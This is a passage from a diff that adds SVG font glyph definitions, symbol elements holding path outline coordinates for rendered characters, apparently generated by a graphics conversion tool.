+<path style="stroke:none;" d="M 1.15625 -12.515625 C 1.550781 -12.609375 1.984375 -12.675781 2.453125 -12.71875 C 2.929688 -12.757812 3.375 -12.78125 3.78125 -12.78125 C 4.25 -12.78125 4.691406 -12.722656 5.109375 -12.609375 C 5.535156 -12.492188 5.90625 -12.300781 6.21875 -12.03125 C 6.53125 -11.757812 6.78125 -11.40625 6.96875 -10.96875 C 7.15625 -10.53125 7.25 -9.976562 7.25 -9.3125 C 7.25 -8.320312 7.039062 -7.523438 6.625 -6.921875 C 6.207031 -6.316406 5.65625 -5.910156 4.96875 -5.703125 L 5.65625 -5.046875 L 8.140625 0 L 6.578125 0 L 3.859375 -5.515625 L 2.515625 -5.78125 L 2.515625 0 L 1.15625 0 Z M 2.515625 -6.6875 L 3.59375 -6.6875 C 4.28125 -6.6875 4.820312 -6.894531 5.21875 -7.3125 C 5.613281 -7.738281 5.8125 -8.382812 5.8125 -9.25 C 5.8125 -9.90625 5.644531 -10.453125 5.3125 -10.890625 C 4.988281 -11.328125 4.5 -11.546875 3.84375 -11.546875 C 3.601562 -11.546875 3.351562 -11.535156 3.09375 -11.515625 C 2.832031 -11.492188 2.640625 -11.46875 2.515625 -11.4375 Z M 2.515625 -6.6875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-15">
+<path style="stroke:none;" d="M 6.75 3.609375 L 5.453125 3.609375 L 5.453125 -0.734375 L 5.375 -0.734375 C 5.1875 -0.429688 4.941406 -0.195312 4.640625 -0.03125 C 4.347656 0.132812 3.96875 0.21875 3.5 0.21875 C 2.550781 0.21875 1.84375 -0.160156 1.375 -0.921875 C 0.90625 -1.691406 0.671875 -2.878906 0.671875 -4.484375 C 0.671875 -6.035156 0.976562 -7.207031 1.59375 -8 C 2.207031 -8.789062 3.097656 -9.1875 4.265625 -9.1875 C 4.765625 -9.1875 5.242188 -9.125 5.703125 -9 C 6.160156 -8.882812 6.507812 -8.765625 6.75 -8.640625 Z M 5.453125 -7.71875 C 5.117188 -7.914062 4.644531 -8.015625 4.03125 -8.015625 C 3.40625 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.6875 2.015625 -4.5 C 2.015625 -3.988281 2.046875 -3.515625 2.109375 -3.078125 C 2.171875 -2.648438 2.269531 -2.273438 2.40625 -1.953125 C 2.550781 -1.640625 2.734375 -1.394531 2.953125 -1.21875 C 3.171875 -1.039062 3.445312 -0.953125 3.78125 -0.953125 C 4.238281 -0.953125 4.597656 -1.082031 4.859375 -1.34375 C 5.117188 -1.613281 5.316406 -2.003906 5.453125 -2.515625 Z M 5.453125 -7.71875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-16">
+<path style="stroke:none;" d="M 2.234375 -9.03125 L 2.234375 -3.5 C 2.234375 -2.582031 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.046875 -0.953125 3.546875 -0.953125 C 3.796875 -0.953125 4.019531 -1.003906 4.21875 -1.109375 C 4.414062 -1.210938 4.59375 -1.347656 4.75 -1.515625 C 4.90625 -1.679688 5.039062 -1.875 5.15625 -2.09375 C 5.28125 -2.3125 5.378906 -2.535156 5.453125 -2.765625 L 5.453125 -9.03125 L 6.75 -9.03125 L 6.75 -2.5625 C 6.75 -2.132812 6.765625 -1.6875 6.796875 -1.21875 C 6.828125 -0.757812 6.875 -0.351562 6.9375 0 L 6.015625 0 L 5.6875 -1.265625 L 5.640625 -1.265625 C 5.429688 -0.867188 5.132812 -0.519531 4.75 -0.21875 C 4.363281 0.0703125 3.882812 0.21875 3.3125 0.21875 C 2.925781 0.21875 2.585938 0.164062 2.296875 0.0625 C 2.003906 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.347656 -0.703125 1.195312 -1.046875 1.09375 -1.484375 C 0.988281 -1.929688 0.9375 -2.492188 0.9375 -3.171875 L 0.9375 -9.03125 Z M 2.234375 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-17">
+<path style="stroke:none;" d="M 0.921875 -1.484375 C 1.160156 -1.335938 1.445312 -1.210938 1.78125 -1.109375 C 2.113281 -1.003906 2.453125 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.53125 -1.050781 3.8125 -1.25 C 4.09375 -1.445312 4.234375 -1.769531 4.234375 -2.21875 C 4.234375 -2.59375 4.144531 -2.898438 3.96875 -3.140625 C 3.800781 -3.378906 3.585938 -3.59375 3.328125 -3.78125 C 3.066406 -3.976562 2.785156 -4.15625 2.484375 -4.3125 C 2.191406 -4.476562 1.914062 -4.675781 1.65625 -4.90625 C 1.394531 -5.132812 1.179688 -5.40625 1.015625 -5.71875 C 0.847656 -6.039062 0.765625 -6.441406 0.765625 -6.921875 C 0.765625 -7.691406 0.96875 -8.269531 1.375 -8.65625 C 1.789062 -9.050781 2.378906 -9.25 3.140625 -9.25 C 3.640625 -9.25 4.066406 -9.203125 4.421875 -9.109375 C 4.785156 -9.023438 5.097656 -8.90625 5.359375 -8.75 L 5.015625 -7.65625 C 4.785156 -7.78125 4.519531 -7.878906 4.21875 -7.953125 C 3.925781 -8.035156 3.625 -8.078125 3.3125 -8.078125 C 2.875 -8.078125 2.554688 -7.984375 2.359375 -7.796875 C 2.160156 -7.617188 2.0625 -7.335938 2.0625 -6.953125 C 2.0625 -6.648438 2.144531 -6.394531 2.3125 -6.1875 C 2.476562 -5.976562 2.691406 -5.785156 2.953125 -5.609375 C 3.210938 -5.429688 3.492188 -5.25 3.796875 -5.0625 C 4.097656 -4.882812 4.375 -4.671875 4.625 -4.421875 C 4.882812 -4.179688 5.097656 -3.890625 5.265625 -3.546875 C 5.441406 -3.203125 5.53125 -2.773438 5.53125 -2.265625 C 5.53125 -1.921875 5.472656 -1.597656 5.359375 -1.296875 C 5.253906 -0.992188 5.085938 -0.734375 4.859375 -0.515625 C 4.640625 -0.296875 4.363281 -0.117188 4.03125 0.015625 C 3.707031 0.148438 3.320312 0.21875 2.875 0.21875 C 2.34375 0.21875 1.882812 0.164062 1.5 0.0625 C 1.113281 -0.0390625 0.789062 -0.175781 0.53125 -0.34375 Z M 0.921875 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-18">
+<path style="stroke:none;" d="M 3.3125 3.96875 C 2.851562 3.394531 2.46875 2.757812 2.15625 2.0625 C 1.851562 1.375 1.601562 0.664062 1.40625 -0.0625 C 1.21875 -0.789062 1.078125 -1.523438 0.984375 -2.265625 C 0.898438 -3.003906 0.859375 -3.710938 0.859375 -4.390625 C 0.859375 -5.046875 0.898438 -5.742188 0.984375 -6.484375 C 1.078125 -7.222656 1.21875 -7.960938 1.40625 -8.703125 C 1.601562 -9.441406 1.859375 -10.164062 2.171875 -10.875 C 2.492188 -11.582031 2.882812 -12.242188 3.34375 -12.859375 L 4.15625 -12.375 C 3.769531 -11.757812 3.445312 -11.113281 3.1875 -10.4375 C 2.9375 -9.757812 2.734375 -9.070312 2.578125 -8.375 C 2.429688 -7.6875 2.328125 -7.003906 2.265625 -6.328125 C 2.203125 -5.648438 2.171875 -5.003906 2.171875 -4.390625 C 2.171875 -3.804688 2.207031 -3.164062 2.28125 -2.46875 C 2.351562 -1.78125 2.46875 -1.085938 2.625 -0.390625 C 2.789062 0.304688 3 0.984375 3.25 1.640625 C 3.5 2.304688 3.800781 2.90625 4.15625 3.4375 Z M 3.3125 3.96875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-19">
+<path style="stroke:none;" d="M 3.546875 0.21875 C 3.015625 0.195312 2.546875 0.140625 2.140625 0.046875 C 1.734375 -0.0351562 1.398438 -0.160156 1.140625 -0.328125 L 1.546875 -1.546875 C 1.742188 -1.421875 2.007812 -1.296875 2.34375 -1.171875 C 2.6875 -1.054688 3.085938 -0.984375 3.546875 -0.953125 L 3.546875 -6.09375 C 3.242188 -6.28125 2.945312 -6.484375 2.65625 -6.703125 C 2.375 -6.921875 2.125 -7.171875 1.90625 -7.453125 C 1.6875 -7.742188 1.503906 -8.078125 1.359375 -8.453125 C 1.222656 -8.835938 1.15625 -9.289062 1.15625 -9.8125 C 1.15625 -10.601562 1.351562 -11.265625 1.75 -11.796875 C 2.15625 -12.335938 2.753906 -12.675781 3.546875 -12.8125 L 3.546875 -14.453125 L 4.640625 -14.453125 L 4.640625 -12.84375 C 5.109375 -12.820312 5.5 -12.773438 5.8125 -12.703125 C 6.125 -12.640625 6.421875 -12.539062 6.703125 -12.40625 L 6.28125 -11.234375 C 6.082031 -11.335938 5.851562 -11.425781 5.59375 -11.5 C 5.34375 -11.582031 5.023438 -11.640625 4.640625 -11.671875 L 4.640625 -7.015625 C 4.941406 -6.804688 5.242188 -6.585938 5.546875 -6.359375 C 5.847656 -6.128906 6.113281 -5.863281 6.34375 -5.5625 C 6.582031 -5.269531 6.773438 -4.929688 6.921875 -4.546875 C 7.066406 -4.171875 7.140625 -3.734375 7.140625 -3.234375 C 7.140625 -2.367188 6.925781 -1.632812 6.5 -1.03125 C 6.070312 -0.425781 5.453125 -0.0390625 4.640625 0.125 L 4.640625 1.8125 L 3.546875 1.8125 Z M 4.359375 -1.03125 C 4.785156 -1.125 5.128906 -1.347656 5.390625 -1.703125 C 5.648438 -2.054688 5.78125 -2.535156 5.78125 -3.140625 C 5.78125 -3.722656 5.640625 -4.191406 5.359375 -4.546875 C 5.085938 -4.910156 4.753906 -5.238281 4.359375 -5.53125 Z M 3.828125 -11.625 C 3.335938 -11.53125 2.992188 -11.304688 2.796875 -10.953125 C 2.609375 -10.609375 2.515625 -10.242188 2.515625 -9.859375 C 2.515625 -9.328125 2.632812 -8.882812 2.875 -8.53125 C 3.125 -8.1875 3.441406 -7.875 3.828125 -7.59375 Z M 3.828125 -11.625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph0-20">
+<path style="stroke:none;" d="M 0.859375 3.4375 C 1.210938 2.90625 1.515625 2.304688 1.765625 1.640625 C 2.023438 0.984375 2.234375 0.304688 2.390625 -0.390625 C 2.554688 -1.085938 2.675781 -1.78125 2.75 -2.46875 C 2.820312 -3.164062 2.859375 -3.804688 2.859375 -4.390625 C 2.859375 -5.003906 2.820312 -5.648438 2.75 -6.328125 C 2.6875 -7.003906 2.578125 -7.6875 2.421875 -8.375 C 2.273438 -9.070312 2.070312 -9.757812 1.8125 -10.4375 C 1.550781 -11.113281 1.234375 -11.757812 0.859375 -12.375 L 1.6875 -12.859375 C 2.132812 -12.242188 2.519531 -11.582031 2.84375 -10.875 C 3.164062 -10.164062 3.421875 -9.441406 3.609375 -8.703125 C 3.804688 -7.960938 3.945312 -7.222656 4.03125 -6.484375 C 4.113281 -5.742188 4.15625 -5.046875 4.15625 -4.390625 C 4.15625 -3.710938 4.113281 -3.003906 4.03125 -2.265625 C 3.945312 -1.523438 3.804688 -0.789062 3.609375 -0.0625 C 3.421875 0.664062 3.171875 1.375 2.859375 2.0625 C 2.546875 2.757812 2.164062 3.394531 1.71875 3.96875 Z M 0.859375 3.4375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-0">
+<path style="stroke:none;" d="M 1.015625 -14.234375 L 14.234375 -14.234375 L 14.234375 0 L 1.015625 0 Z M 11.59375 -12.609375 L 7.625 -8.1875 L 3.65625 -12.609375 L 2.640625 -11.59375 L 6.640625 -7.109375 L 2.640625 -2.640625 L 3.65625 -1.625 L 7.625 -6.03125 L 11.59375 -1.625 L 12.609375 -2.640625 L 8.578125 -7.109375 L 12.609375 -11.59375 Z M 2.625 -0.546875 L 2.78125 -0.546875 L 2.78125 -0.796875 L 2.859375 -0.796875 C 2.941406 -0.796875 3.015625 -0.8125 3.078125 -0.84375 C 3.148438 -0.875 3.1875 -0.9375 3.1875 -1.03125 C 3.1875 -1.144531 3.148438 -1.210938 3.078125 -1.234375 C 3.003906 -1.265625 2.925781 -1.28125 2.84375 -1.28125 L 2.625 -1.28125 Z M 2.859375 -1.15625 C 2.972656 -1.15625 3.03125 -1.125 3.03125 -1.0625 C 3.03125 -0.988281 3.007812 -0.945312 2.96875 -0.9375 C 2.9375 -0.9375 2.894531 -0.9375 2.84375 -0.9375 L 2.78125 -0.9375 L 2.78125 -1.15625 Z M 3.84375 -1.28125 L 3.21875 -1.28125 L 3.21875 -1.15625 L 3.453125 -1.15625 L 3.453125 -0.546875 L 3.59375 -0.546875 L 3.59375 -1.15625 L 3.84375 -1.15625 Z M 4.515625 -0.75 C 4.515625 -0.695312 4.46875 -0.671875 4.375 -0.671875 C 4.28125 -0.671875 4.21875 -0.6875 4.1875 -0.71875 L 4.125 -0.5625 C 4.15625 -0.5625 4.191406 -0.554688 4.234375 -0.546875 C 4.273438 -0.535156 4.328125 -0.53125 4.390625 -0.53125 C 4.578125 -0.53125 4.671875 -0.609375 4.671875 -0.765625 C 4.671875 -0.890625 4.609375 -0.957031 4.484375 -0.96875 C 4.367188 -0.988281 4.3125 -1.03125 4.3125 -1.09375 C 4.3125 -1.132812 4.351562 -1.15625 4.4375 -1.15625 C 4.5 -1.15625 4.554688 -1.144531 4.609375 -1.125 L 4.65625 -1.265625 C 4.570312 -1.285156 4.5 -1.296875 4.4375 -1.296875 C 4.238281 -1.296875 4.140625 -1.222656 4.140625 -1.078125 C 4.140625 -1.003906 4.160156 -0.953125 4.203125 -0.921875 C 4.242188 -0.898438 4.285156 -0.878906 4.328125 -0.859375 C 4.367188 -0.835938 4.410156 -0.820312 4.453125 -0.8125 C 4.492188 -0.800781 4.515625 -0.78125 4.515625 -0.75 Z M 4.8125 -0.953125 C 4.875 -0.984375 4.9375 -1 5 -1 C 5.070312 -1 5.109375 -0.972656 5.109375 -0.921875 L 5.109375 -0.875 C 5.085938 -0.875 5.070312 -0.875 5.0625 -0.875 C 5.050781 -0.882812 5.03125 -0.890625 5 -0.890625 C 4.832031 -0.890625 4.75 -0.820312 4.75 -0.6875 C 4.75 -0.582031 4.804688 -0.53125 4.921875 -0.53125 C 5.003906 -0.53125 5.066406 -0.5625 5.109375 -0.625 L 5.140625 -0.546875 L 5.265625 -0.546875 C 5.253906 -0.578125 5.25 -0.625 5.25 -0.6875 L 5.25 -0.921875 C 5.25 -1.054688 5.179688 -1.125 5.046875 -1.125 C 4.984375 -1.125 4.925781 -1.113281 4.875 -1.09375 C 4.832031 -1.082031 4.800781 -1.070312 4.78125 -1.0625 Z M 4.984375 -0.65625 C 4.929688 -0.65625 4.90625 -0.679688 4.90625 -0.734375 C 4.90625 -0.785156 4.9375 -0.8125 5 -0.8125 C 5.03125 -0.8125 5.050781 -0.804688 5.0625 -0.796875 C 5.070312 -0.796875 5.085938 -0.796875 5.109375 -0.796875 L 5.109375 -0.734375 C 5.078125 -0.679688 5.035156 -0.65625 4.984375 -0.65625 Z M 5.9375 -0.546875 L 5.9375 -0.875 C 5.9375 -1.039062 5.875 -1.125 5.75 -1.125 C 5.65625 -1.125 5.585938 -1.085938 5.546875 -1.015625 L 5.515625 -1.09375 L 5.40625 -1.09375 L 5.40625 -0.546875 L 5.546875 -0.546875 L 5.546875 -0.890625 C 5.578125 -0.941406 5.617188 -0.96875 5.671875 -0.96875 C 5.734375 -0.96875 5.765625 -0.929688 5.765625 -0.859375 L 5.765625 -0.546875 Z M 6.03125 -0.5625 C 6.09375 -0.539062 6.160156 -0.53125 6.234375 -0.53125 C 6.390625 -0.53125 6.46875 -0.59375 6.46875 -0.71875 C 6.46875 -0.78125 6.445312 -0.816406 6.40625 -0.828125 C 6.375 -0.847656 6.335938 -0.867188 6.296875 -0.890625 C 6.234375 -0.921875 6.203125 -0.941406 6.203125 -0.953125 C 6.203125 -0.984375 6.222656 -1 6.265625 -1 C 6.316406 -1 6.367188 -0.984375 6.421875 -0.953125 L 6.46875 -1.078125 C 6.414062 -1.109375 6.347656 -1.125 6.265625 -1.125 C 6.128906 -1.125 6.0625 -1.0625 6.0625 -0.9375 C 6.0625 -0.863281 6.082031 -0.816406 6.125 -0.796875 C 6.164062 -0.773438 6.195312 -0.757812 6.21875 -0.75 C 6.289062 -0.75 6.328125 -0.726562 6.328125 -0.6875 C 6.328125 -0.664062 6.304688 -0.65625 6.265625 -0.65625 C 6.191406 -0.65625 6.128906 -0.664062 6.078125 -0.6875 Z M 6.875 -0.859375 C 6.875 -0.566406 7.007812 -0.421875 7.28125 -0.421875 C 7.550781 -0.421875 7.6875 -0.566406 7.6875 -0.859375 C 7.6875 -1.128906 7.550781 -1.265625 7.28125 -1.265625 C 7.164062 -1.265625 7.066406 -1.222656 6.984375 -1.140625 C 6.910156 -1.066406 6.875 -0.972656 6.875 -0.859375 Z M 7 -0.859375 C 7 -1.054688 7.09375 -1.15625 7.28125 -1.15625 C 7.46875 -1.15625 7.5625 -1.054688 7.5625 -0.859375 C 7.5625 -0.648438 7.46875 -0.546875 7.28125 -0.546875 C 7.09375 -0.546875 7 -0.648438 7 -0.859375 Z M 7.40625 -0.765625 C 7.375 -0.753906 7.34375 -0.75 7.3125 -0.75 C 7.257812 -0.75 7.234375 -0.785156 7.234375 -0.859375 C 7.234375 -0.910156 7.257812 -0.9375 7.3125 -0.9375 L 7.375 -0.9375 L 7.421875 -1.015625 C 7.367188 -1.046875 7.320312 -1.0625 7.28125 -1.0625 C 7.15625 -1.0625 7.09375 -0.992188 7.09375 -0.859375 C 7.09375 -0.703125 7.15625 -0.625 7.28125 -0.625 C 7.34375 -0.625 7.390625 -0.640625 7.421875 -0.671875 Z M 8.109375 -0.546875 L 8.28125 -0.546875 L 8.28125 -0.796875 L 8.359375 -0.796875 C 8.441406 -0.796875 8.515625 -0.8125 8.578125 -0.84375 C 8.648438 -0.875 8.6875 -0.9375 8.6875 -1.03125 C 8.6875 -1.144531 8.644531 -1.210938 8.5625 -1.234375 C 8.488281 -1.265625 8.410156 -1.28125 8.328125 -1.28125 L 8.109375 -1.28125 Z M 8.359375 -1.15625 C 8.460938 -1.15625 8.515625 -1.125 8.515625 -1.0625 C 8.515625 -0.988281 8.5 -0.945312 8.46875 -0.9375 C 8.4375 -0.9375 8.390625 -0.9375 8.328125 -0.9375 L 8.28125 -0.9375 L 8.28125 -1.15625 Z M 8.78125 -0.953125 C 8.832031 -0.984375 8.894531 -1 8.96875 -1 C 9.03125 -1 9.0625 -0.972656 9.0625 -0.921875 L 9.0625 -0.875 C 9.050781 -0.875 9.035156 -0.875 9.015625 -0.875 C 9.003906 -0.882812 8.988281 -0.890625 8.96875 -0.890625 C 8.789062 -0.890625 8.703125 -0.820312 8.703125 -0.6875 C 8.703125 -0.582031 8.765625 -0.53125 8.890625 -0.53125 C 8.960938 -0.53125 9.019531 -0.5625 9.0625 -0.625 L 9.109375 -0.546875 L 9.234375 -0.546875 C 9.210938 -0.578125 9.203125 -0.625 9.203125 -0.6875 L 9.203125 -0.921875 C 9.203125 -1.054688 9.132812 -1.125 9 -1.125 C 8.945312 -1.125 8.894531 -1.113281 8.84375 -1.09375 C 8.800781 -1.082031 8.765625 -1.070312 8.734375 -1.0625 Z M 8.9375 -0.65625 C 8.882812 -0.65625 8.859375 -0.679688 8.859375 -0.734375 C 8.859375 -0.785156 8.894531 -0.8125 8.96875 -0.8125 C 8.988281 -0.8125 9.003906 -0.804688 9.015625 -0.796875 C 9.035156 -0.796875 9.050781 -0.796875 9.0625 -0.796875 L 9.0625 -0.734375 C 9.039062 -0.679688 9 -0.65625 8.9375 -0.65625 Z M 9.71875 -1.09375 C 9.707031 -1.113281 9.679688 -1.125 9.640625 -1.125 C 9.578125 -1.125 9.535156 -1.085938 9.515625 -1.015625 L 9.5 -1.015625 L 9.46875 -1.09375 L 9.34375 -1.09375 L 9.34375 -0.546875 L 9.515625 -0.546875 L 9.515625 -0.890625 C 9.515625 -0.941406 9.554688 -0.96875 9.640625 -0.96875 L 9.65625 -0.96875 C 9.664062 -0.96875 9.671875 -0.960938 9.671875 -0.953125 C 9.671875 -0.953125 9.679688 -0.953125 9.703125 -0.953125 Z M 9.8125 -0.953125 C 9.894531 -0.984375 9.957031 -1 10 -1 C 10.070312 -1 10.109375 -0.972656 10.109375 -0.921875 L 10.109375 -0.875 C 10.085938 -0.875 10.070312 -0.875 10.0625 -0.875 C 10.050781 -0.882812 10.03125 -0.890625 10 -0.890625 C 9.820312 -0.890625 9.734375 -0.820312 9.734375 -0.6875 C 9.734375 -0.582031 9.796875 -0.53125 9.921875 -0.53125 C 10.015625 -0.53125 10.078125 -0.5625 10.109375 -0.625 L 10.125 -0.625 L 10.140625 -0.546875 L 10.265625 -0.546875 C 10.253906 -0.578125 10.25 -0.625 10.25 -0.6875 L 10.25 -0.921875 C 10.25 -1.054688 10.179688 -1.125 10.046875 -1.125 C 9.984375 -1.125 9.929688 -1.113281 9.890625 -1.09375 C 9.859375 -1.082031 9.828125 -1.070312 9.796875 -1.0625 Z M 9.984375 -0.65625 C 9.929688 -0.65625 9.90625 -0.679688 9.90625 -0.734375 C 9.90625 -0.785156 9.9375 -0.8125 10 -0.8125 C 10.03125 -0.8125 10.050781 -0.804688 10.0625 -0.796875 C 10.070312 -0.796875 10.085938 -0.796875 10.109375 -0.796875 L 10.109375 -0.734375 C 10.078125 -0.679688 10.035156 -0.65625 9.984375 -0.65625 Z M 10.828125 -1.28125 L 10.203125 -1.28125 L 10.203125 -1.15625 L 10.421875 -1.15625 L 10.421875 -0.546875 L 10.59375 -0.546875 L 10.59375 -1.15625 L 10.828125 -1.15625 Z M 11 -1.09375 L 10.828125 -1.09375 L 11.078125 -0.546875 C 11.066406 -0.484375 11.035156 -0.453125 10.984375 -0.453125 L 10.953125 -0.46875 L 10.921875 -0.34375 C 10.941406 -0.332031 10.972656 -0.328125 11.015625 -0.328125 C 11.085938 -0.328125 11.15625 -0.414062 11.21875 -0.59375 L 11.421875 -1.09375 L 11.265625 -1.09375 L 11.15625 -0.796875 L 11.15625 -0.6875 L 11.140625 -0.6875 L 11.125 -0.796875 Z M 11.484375 -0.328125 L 11.640625 -0.328125 L 11.640625 -0.5625 C 11.660156 -0.539062 11.695312 -0.53125 11.75 -0.53125 C 11.9375 -0.53125 12.03125 -0.628906 12.03125 -0.828125 C 12.03125 -1.023438 11.957031 -1.125 11.8125 -1.125 C 11.738281 -1.125 11.675781 -1.09375 11.625 -1.03125 L 11.609375 -1.03125 L 11.59375 -1.09375 L 11.484375 -1.09375 Z M 11.765625 -1 C 11.835938 -1 11.875 -0.941406 11.875 -0.828125 C 11.875 -0.710938 11.828125 -0.65625 11.734375 -0.65625 C 11.703125 -0.65625 11.671875 -0.664062 11.640625 -0.6875 L 11.640625 -0.890625 C 11.640625 -0.960938 11.679688 -1 11.765625 -1 Z M 12.5625 -0.6875 C 12.53125 -0.664062 12.484375 -0.65625 12.421875 -0.65625 C 12.328125 -0.65625 12.269531 -0.691406 12.25 -0.765625 L 12.640625 -0.765625 L 12.640625 -0.890625 C 12.640625 -0.972656 12.613281 -1.03125 12.5625 -1.0625 C 12.519531 -1.101562 12.46875 -1.125 12.40625 -1.125 C 12.207031 -1.125 12.109375 -1.019531 12.109375 -0.8125 C 12.109375 -0.625 12.207031 -0.53125 12.40625 -0.53125 C 12.445312 -0.53125 12.484375 -0.535156 12.515625 -0.546875 C 12.554688 -0.554688 12.59375 -0.570312 12.625 -0.59375 Z M 12.40625 -1 C 12.476562 -1 12.507812 -0.957031 12.5 -0.875 L 12.28125 -0.875 C 12.28125 -0.957031 12.320312 -1 12.40625 -1 Z M 12.40625 -1 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-1">
+<path style="stroke:none;" d="M 3.46875 -9.03125 L 2.609375 -11.265625 L 2.546875 -11.265625 L 2.765625 -9.03125 L 2.765625 0 L 1.296875 0 L 1.296875 -14.453125 L 2.21875 -14.453125 L 7.484375 -5.21875 L 8.3125 -3.09375 L 8.390625 -3.09375 L 8.171875 -5.21875 L 8.171875 -14.234375 L 9.640625 -14.234375 L 9.640625 0.21875 L 8.703125 0.21875 Z M 3.46875 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-2">
+<path style="stroke:none;" d="M 7.28125 -0.6875 C 6.957031 -0.394531 6.539062 -0.164062 6.03125 0 C 5.53125 0.164062 5.003906 0.25 4.453125 0.25 C 3.816406 0.25 3.265625 0.125 2.796875 -0.125 C 2.328125 -0.382812 1.9375 -0.742188 1.625 -1.203125 C 1.320312 -1.671875 1.097656 -2.226562 0.953125 -2.875 C 0.816406 -3.53125 0.75 -4.265625 0.75 -5.078125 C 0.75 -6.816406 1.066406 -8.140625 1.703125 -9.046875 C 2.335938 -9.953125 3.238281 -10.40625 4.40625 -10.40625 C 4.789062 -10.40625 5.164062 -10.359375 5.53125 -10.265625 C 5.90625 -10.171875 6.242188 -9.976562 6.546875 -9.6875 C 6.847656 -9.40625 7.085938 -9.003906 7.265625 -8.484375 C 7.453125 -7.972656 7.546875 -7.304688 7.546875 -6.484375 C 7.546875 -6.253906 7.535156 -6.003906 7.515625 -5.734375 C 7.492188 -5.472656 7.46875 -5.203125 7.4375 -4.921875 L 2.28125 -4.921875 C 2.28125 -4.335938 2.328125 -3.804688 2.421875 -3.328125 C 2.515625 -2.859375 2.660156 -2.457031 2.859375 -2.125 C 3.066406 -1.789062 3.328125 -1.53125 3.640625 -1.34375 C 3.960938 -1.164062 4.363281 -1.078125 4.84375 -1.078125 C 5.207031 -1.078125 5.566406 -1.144531 5.921875 -1.28125 C 6.285156 -1.414062 6.5625 -1.578125 6.75 -1.765625 Z M 6.140625 -6.140625 C 6.171875 -7.148438 6.03125 -7.894531 5.71875 -8.375 C 5.40625 -8.851562 4.976562 -9.09375 4.4375 -9.09375 C 3.8125 -9.09375 3.316406 -8.851562 2.953125 -8.375 C 2.585938 -7.894531 2.367188 -7.148438 2.296875 -6.140625 Z M 6.140625 -6.140625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-3">
+<path style="stroke:none;" d="M 6.625 -10.15625 L 8.4375 -4.234375 L 8.796875 -2.28125 L 8.84375 -2.28125 L 9.140625 -4.265625 L 10.53125 -10.15625 L 11.90625 -10.15625 L 9.203125 0.21875 L 8.375 0.21875 L 6.328125 -6.4375 L 6.03125 -8.15625 L 6 -8.15625 L 5.71875 -6.421875 L 3.71875 0.21875 L 2.890625 0.21875 L 0.109375 -10.15625 L 1.671875 -10.15625 L 3.234375 -4.25 L 3.46875 -2.28125 L 3.515625 -2.28125 L 3.875 -4.296875 L 5.546875 -10.15625 Z M 6.625 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-4">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph1-5">
+<path style="stroke:none;" d="M 0.328125 -10.15625 L 1.5625 -10.15625 L 1.5625 -10.734375 C 1.5625 -12.003906 1.742188 -12.925781 2.109375 -13.5 C 2.472656 -14.070312 3.097656 -14.359375 3.984375 -14.359375 C 4.335938 -14.359375 4.65625 -14.335938 4.9375 -14.296875 C 5.21875 -14.253906 5.507812 -14.164062 5.8125 -14.03125 L 5.453125 -12.765625 C 5.203125 -12.867188 4.972656 -12.9375 4.765625 -12.96875 C 4.554688 -13.007812 4.359375 -13.03125 4.171875 -13.03125 C 3.898438 -13.03125 3.6875 -12.972656 3.53125 -12.859375 C 3.382812 -12.753906 3.273438 -12.585938 3.203125 -12.359375 C 3.128906 -12.128906 3.082031 -11.832031 3.0625 -11.46875 C 3.039062 -11.113281 3.03125 -10.675781 3.03125 -10.15625 L 5.140625 -10.15625 L 5.140625 -8.84375 L 3.03125 -8.84375 L 3.03125 0 L 1.5625 0 L 1.5625 -8.84375 L 0.328125 -8.84375 Z M 0.328125 -10.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-6">
+<path style="stroke:none;" d="M 0.75 -5.078125 C 0.75 -6.910156 1.0625 -8.253906 1.6875 -9.109375 C 2.320312 -9.972656 3.222656 -10.40625 4.390625 -10.40625 C 5.640625 -10.40625 6.554688 -9.960938 7.140625 -9.078125 C 7.734375 -8.203125 8.03125 -6.867188 8.03125 -5.078125 C 8.03125 -3.234375 7.710938 -1.882812 7.078125 -1.03125 C 6.441406 -0.175781 5.546875 0.25 4.390625 0.25 C 3.140625 0.25 2.21875 -0.191406 1.625 -1.078125 C 1.039062 -1.960938 0.75 -3.296875 0.75 -5.078125 Z M 2.28125 -5.078125 C 2.28125 -4.484375 2.316406 -3.941406 2.390625 -3.453125 C 2.460938 -2.960938 2.582031 -2.539062 2.75 -2.1875 C 2.925781 -1.84375 3.148438 -1.570312 3.421875 -1.375 C 3.691406 -1.175781 4.015625 -1.078125 4.390625 -1.078125 C 5.097656 -1.078125 5.625 -1.390625 5.96875 -2.015625 C 6.320312 -2.648438 6.5 -3.671875 6.5 -5.078125 C 6.5 -5.660156 6.460938 -6.195312 6.390625 -6.6875 C 6.316406 -7.1875 6.191406 -7.613281 6.015625 -7.96875 C 5.847656 -8.320312 5.628906 -8.597656 5.359375 -8.796875 C 5.085938 -8.992188 4.765625 -9.09375 4.390625 -9.09375 C 3.703125 -9.09375 3.175781 -8.769531 2.8125 -8.125 C 2.457031 -7.488281 2.28125 -6.472656 2.28125 -5.078125 Z M 2.28125 -5.078125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-7">
